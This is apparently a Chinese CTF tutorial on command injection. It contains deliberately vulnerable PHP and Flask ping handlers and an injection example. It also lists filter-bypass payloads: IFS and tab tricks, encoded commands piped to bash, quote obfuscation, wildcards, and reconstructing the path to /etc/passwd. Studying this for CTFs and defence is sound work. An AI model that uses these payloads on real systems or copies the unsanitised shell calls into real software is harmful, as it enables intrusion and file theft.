命令注入

漏洞代码 #

命令注入是由于对用户输入限制不足,导致改变了原有执行命令的语义,继而额外执行了多条命令,如下面的ping程序,原本设计是期待用户传入合法的ip参数,如127.0.0.1,程序返回ping 127.0.0.1的结果,但用户可以通过修改 ip 参数来注入恶意的命令

<?php
highlight_file(__FILE__);

// 获取用户输入的IP地址
$ip_address = $_GET['ip'];

// 构建ping命令
$command = "ping -c 4 " . $ip_address;

// 执行命令
$output = shell_exec($command);

// 显示结果
echo "<pre>$output</pre>";
?>
import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/ping', methods=['GET'])
def ping():
    # 获取用户输入的IP地址
    ip_address = request.args.get('ip')
    
    # 构建ping命令
    command = f"ping -c 4 {ip_address}"
    
    # 执行命令
    output = os.popen(command).read()
    
    # 返回结果
    return f"<pre>{output}</pre>"

if __name__ == '__main__':
    app.run(debug=True)

如用户输入?ip=127.0.0.1;pwd可额外获取当前目录信息

ctf web题目中命令注入的主要目的是读取文件,常见的读取文件的命令有:

  • cat/tac: 按顺序/逆序读取
  • more/less: 按页读取,less支持backwards
  • head/tail: 按头/尾读取
  • nl: 添加行数
  • od -a: 16进制显示文件
  • uniq: 删除文件重复行,显示结果
  • sort: 将文件排列之后显示
  • strings: 查找可打印字符串
  • rev: 文件内容反序
  • paste: 合并文件
  • diff flag xxx: 比较2个文件的内容差异
  • base64: 对文件内容base64

常用符号 #

链接符 #

  • cmd1 && cmd2: 代表首先执行前者命令cmd1再执行后命令cmd2,但是前提条件是命令cmd1执行成功才会执行命令cmd2,在cmd1执行失败的情况下不会执行cmd2命令。所以又被称为短路运算符。
  • cmd1 || cmd2: 代表首先执行cmd1命令再执行cmd2命令,如果cmd1命令执行成功,就不会执行cmd2命令,相反,如果cmd1命令执行不成功,就会执行cmd2命令。(前面的命令执行失败,它后面的命令才被执行)

    以上类似编程语言中的逻辑运算符;cmd命令执行成功的标志是echo $?返回0

    pwd               
    /Users/zqq/Desktop/zqq/zqq1024
    
    echo $?
    0
    
  • cmd1 & cmd2:代表首先在后台执行命令cmd1,然后再立刻执行命令cmd2,如果cmd1执行失败,还是会继续执行命令cmd2。也就是说命令cmd2的执行不会受到命令cmd1的干扰。
  • cmd1 | cmd2:管道符号,代表首先执行命令cmd1,将命令cmd1命令输出作为cmd2命令的输入执行命令cmd2,如果cmd1执行失败,还是会继续执行命令cmd2。也就是说命令cmd2的执行不会受到命令cmd1的干扰。
  • cmd1 ; cmd2:这种格式会先执行cmd1,不管cmd1的执行结果如何(无论成功还是失败),接着会执行cmd2。这是一种串行执行命令的方式,常用于需要按特定顺序执行多个独立命令的场景。

其他符号 #

`` 反引号
backtick 用于执行命令并将命令的输出结果嵌入到另一个命令或上下文中,echo `pwd`

$()符号
$()是一种命令替换语法,用于执行命令并将其输出结果嵌入到另一个命令或上下文中,echo $(pwd)

括号()
(command1; command2),它们会作为一个独立的子shhell进程执行

花括号{}
花括号中可以包含一个或多个值
echo {1..5} = echo 1 2 3 4 5
cp file{.txt,.bak} = cp file.txt file.bak

绕过 #

过滤空格:以cat flag.txt为例,系统不允许我们输入空格或输入后被过滤

# ${IFS}
cat${IFS}flag.txt # Internal Field Separator, By default, the value of IFS includes space, tab, and newline.

# 重定向符
cat<flag.txt
cat<>flag.txt

# 花括号
{cat,flag.txt}

cat%09flag.txt # 需要php环境,php环境下web输入%09等效于空格,horizontal tab ,%0a LF %0d CR

# 空格转义
X=$'cat\x20flag.txt'&&$X # $'' 引用允许包含转义序列,如\n理解为换行符等

过滤斜杠:以cat xxx/flag.txt威力,斜杠会被过滤来规避文件路径的构造

# ${HOME:0:1} $HOME=/root 之类的
cat ${HOME:0:1}etc${HOME:0:1}passwd

# echo . | tr '!-0' '"-1' 本质为 . 替换为了 /
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

关键词黑名单: 系统限制了一些命令如cat的执行,但是理论上黑名单限制是没法做到完全的

# shell变量拼接
a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;

# base64 + 管道
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

# 单双引号
c""at fl''ag.tx""t

# 反斜杠
c\at fl\a\g.tx\t

# $1
ca$1t fl$1ag.t$1xt

# 十六进制
echo 'cat flag.txt' | xxd
echo "0x63617420666c61672e7478740a" | xxd -r -p | bash

# 八进制绕过
echo "cat flag.txt" | od -An -t o1 | sed 's/ /\\/g'
`printf "\143\141\164\040\146\154\141\147\056\164\170\164\012"`

# 通配符
cat fl?g.txt # ?作为通配符时,它代表一个字符的位置,可以匹配任何单个字符(除了目录斜杠/)
cat fla?.txt
cat f[lc]ag.txt
cat fl**